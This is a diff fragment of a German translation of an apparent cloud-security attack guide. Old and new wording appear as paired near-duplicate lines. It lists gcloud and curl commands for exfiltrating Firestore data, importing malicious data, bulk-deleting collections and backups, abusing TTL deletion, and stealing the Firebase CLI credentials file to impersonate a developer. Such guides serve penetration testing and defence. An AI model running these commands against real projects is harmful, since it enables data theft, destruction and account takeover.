-H "Authorization: Bearer $ACCESS_TOKEN" \
@@ -332,7 +334,7 @@ curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rule
}
}'
```
Der vorherige Befehl gibt einen ruleset-Namen im Format projects/<project-id>/rulesets/<ruleset-id> zurück. Um die neue Version bereitzustellen, muss das Release mit einer PATCH-Anfrage aktualisiert werden:
Der vorherige Befehl gibt einen Ruleset-Namen im Format projects/<project-id>/rulesets/<ruleset-id> zurück. Um die neue Version bereitzustellen, muss das Release mit einer PATCH-Anfrage aktualisiert werden:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
@@ -358,7 +360,7 @@ curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rule
}
}'
```
Der vorherige Befehl liefert einen ruleset-Namen im Format projects/<project-id>/rulesets/<ruleset-id>. Um die neue Version bereitzustellen, muss das Release mit einer PATCH request aktualisiert werden:
Der vorherige Befehl gibt einen ruleset-Namen im Format projects/<project-id>/rulesets/<ruleset-id> zurück. Um die neue Version bereitzustellen, muss das Release mit einer PATCH-Anfrage aktualisiert werden:
```bash
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
@@ -370,17 +372,17 @@ curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/rel
}
}'
```
### Data exfiltration and manipulation in Cloud Firestore
Cloud Firestore verwendet dieselbe Infrastruktur und dasselbe Berechtigungssystem wie Cloud Datastore, sodass Datastore-IAM-Berechtigungen direkt für Firestore gelten. Um TTL-Richtlinien zu manipulieren, wird die `datastore.indexes.update` Berechtigung benötigt. Um Daten zu exportieren, wird die `datastore.databases.export` Berechtigung benötigt. Um Daten zu importieren, wird die datastore.databases.import permission benötigt. Um eine Massenlöschung von Daten durchzuführen, wird die `datastore.databases.bulkDelete` Berechtigung benötigt.
### Data exfiltration und Manipulation in Cloud Firestore
Cloud Firestore verwendet dieselbe Infrastruktur und dasselbe Berechtigungssystem wie Cloud Datastore, daher gelten Datastore IAM-Berechtigungen direkt für Firestore. Um TTL-Policies zu manipulieren, wird die Berechtigung `datastore.indexes.update` benötigt. Um Daten zu exportieren, wird die Berechtigung `datastore.databases.export` benötigt. Um Daten zu importieren, wird die datastore.databases.import permission benötigt. Um Massenlöschungen von Daten durchzuführen, wird die Berechtigung `datastore.databases.bulkDelete` benötigt.
Für Backup- und Restore-Operationen werden spezifische Berechtigungen benötigt:
- `datastore.backups.get` und `datastore.backups.list`, um verfügbare Backups aufzulisten und Details abzurufen
- `datastore.backups.get` und `datastore.backups.list`, um verfügbare Backups aufzulisten und deren Details abzurufen
- `datastore.backups.delete`, um Backups zu löschen
- `datastore.backups.restoreDatabase`, um eine Datenbank aus einem Backup wiederherzustellen
- `datastore.backupSchedules.create` und `datastore.backupSchedules.delete`, um Backup-Zeitpläne zu verwalten
Wenn eine TTL-Richtlinie erstellt wird, wird eine bestimmte Eigenschaft ausgewählt, um Entitäten zu identifizieren, die für die Löschung in Frage kommen. Diese TTL-Eigenschaft muss vom Typ Datum und Uhrzeit sein. Der Angreifer kann eine bereits vorhandene Eigenschaft wählen oder eine Eigenschaft festlegen, die er später hinzufügen möchte. Ist der Wert des Feldes ein Datum in der Vergangenheit, wird das Dokument sofort löschbar. Der Angreifer kann die gcloud CLI verwenden, um TTL-Richtlinien zu manipulieren.
Wenn eine TTL-Policy erstellt wird, wird eine bestimmte Property ausgewählt, um Entities zu identifizieren, die für die Löschung infrage kommen. Diese TTL-Property muss vom Typ Date and time sein. Der Angreifer kann eine Property wählen, die bereits existiert, oder eine Property angeben, die er später hinzufügen möchte. Wenn der Wert des Feldes ein Datum in der Vergangenheit ist, wird das Dokument sofort für die Löschung freigegeben. Der Angreifer kann die gcloud CLI verwenden, um TTL-Policies zu manipulieren.
```bash
# Enable TTL
gcloud firestore fields ttls update expireAt \
@@ -391,7 +393,7 @@ gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl
```
Um Daten zu exportieren und zu exfiltrate, könnte der Angreifer die gcloud CLI verwenden.
Um Daten zu exportieren und zu exfiltrieren, könnte der Angreifer die gcloud CLI verwenden.
```bash
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
```
@@ -399,14 +401,14 @@ Um bösartige Daten zu importieren:
```bash
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
```
Um massenhaft Daten zu löschen und einen Denial of Service zu verursachen, könnte der Angreifer das gcloud Firestore bulk-delete tool verwenden, um ganze Collections zu entfernen.
Um massenhafte Datenlöschung durchzuführen und eine denial of service herbeizuführen, könnte der Angreifer das gcloud Firestore bulk-delete tool verwenden, um ganze Collections zu entfernen.
```bash
gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>
```
Für Backup- und Wiederherstellungsoperationen könnte der Angreifer geplante Backups erstellen, um den aktuellen Zustand der Datenbank zu erfassen, vorhandene Backups aufzulisten, von einem Backup wiederherzustellen, um jüngste Änderungen zu überschreiben, Backups zu löschen, um dauerhaften Datenverlust zu verursachen, und geplante Backups zu entfernen.
Bei Backup- und Wiederherstellungsoperationen könnte ein Angreifer geplante Backups anlegen, vorhandene Backups auflisten, aus einem Backup wiederherstellen, um jüngste Änderungen zu überschreiben, Backups löschen, um dauerhaften Datenverlust zu verursachen, und geplante Backups entfernen.
Um einen täglichen Backup-Zeitplan zu erstellen, der sofort ein Backup erzeugt:
```bash
gcloud firestore backups schedules create \
@@ -415,7 +417,7 @@ gcloud firestore backups schedules create \
--retention=14w \
--project=<project-id>
```
Um ein bestimmtes Backup wiederherzustellen, könnte der Angreifer eine neue Datenbank erstellen, die die im Backup enthaltenen Daten verwendet. Der Restore-Vorgang schreibt die Daten des Backups in eine neue Datenbank, was bedeutet, dass eine bereits vorhandene DATABASE_ID nicht verwendet werden kann.
Um aus einem bestimmten Backup wiederherzustellen, könnte der Angreifer eine neue Datenbank erstellen, die die in diesem Backup enthaltenen Daten verwendet. Der Restore-Vorgang schreibt die Daten des Backups in eine neue Datenbank, sodass eine bestehende DATABASE_ID nicht verwendet werden kann.
```bash
gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
@@ -428,16 +430,16 @@ gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>
```
### Diebstahl und Missbrauch von Firebase CLI-Anmeldeinformationen
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen, er benötigt jedoch Zugriff auf das lokale System des Entwicklers oder auf die Firebase CLI-Anmeldeinformationsdatei. Diese Anmeldeinformationen werden in einer JSON-Datei gespeichert, die sich befindet unter:
### Diebstahl und Missbrauch von Firebase CLI credentials
Ein Angreifer benötigt keine speziellen Firebase-Berechtigungen, um diesen Angriff durchzuführen, benötigt jedoch Zugriff auf das lokale System des Entwicklers oder auf die Firebase CLI credentials-Datei. Diese credentials werden in einer JSON-Datei gespeichert, die sich befindet unter:
- Linux/macOS: ~/.config/configstore/firebase-tools.json
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
Diese Datei enthält Authentifizierungs-Tokens, einschließlich refresh_token und access_token, die es dem Angreifer ermöglichen, sich als der Benutzer zu authentifizieren, der firebase login ursprünglich ausgeführt hat.
Diese Datei enthält Authentifizierungstokens, einschließlich des refresh_token und access_token, die es dem Angreifer ermöglichen, sich als der Benutzer zu authentifizieren, der ursprünglich firebase login ausgeführt hat.
Der Angreifer verschafft sich Zugriff auf die Firebase CLI-Anmeldeinformationsdatei. Er kann dann die gesamte Datei auf sein eigenes System kopieren, und die Firebase CLI wird automatisch die Anmeldeinformationen aus dem Standardort verwenden. Danach kann der Angreifer alle Firebase-Projekte einsehen, auf die dieser Benutzer Zugriff hat.
Der Angreifer erhält Zugriff auf die Firebase CLI credentials-Datei. Anschließend kann er die gesamte Datei auf sein eigenes System kopieren, und die Firebase CLI verwendet automatisch die credentials aus ihrem Standardpfad. Danach kann der Angreifer alle Firebase-Projekte einsehen, auf die dieser Benutzer Zugriff hat.
```bash
firebase projects:list
```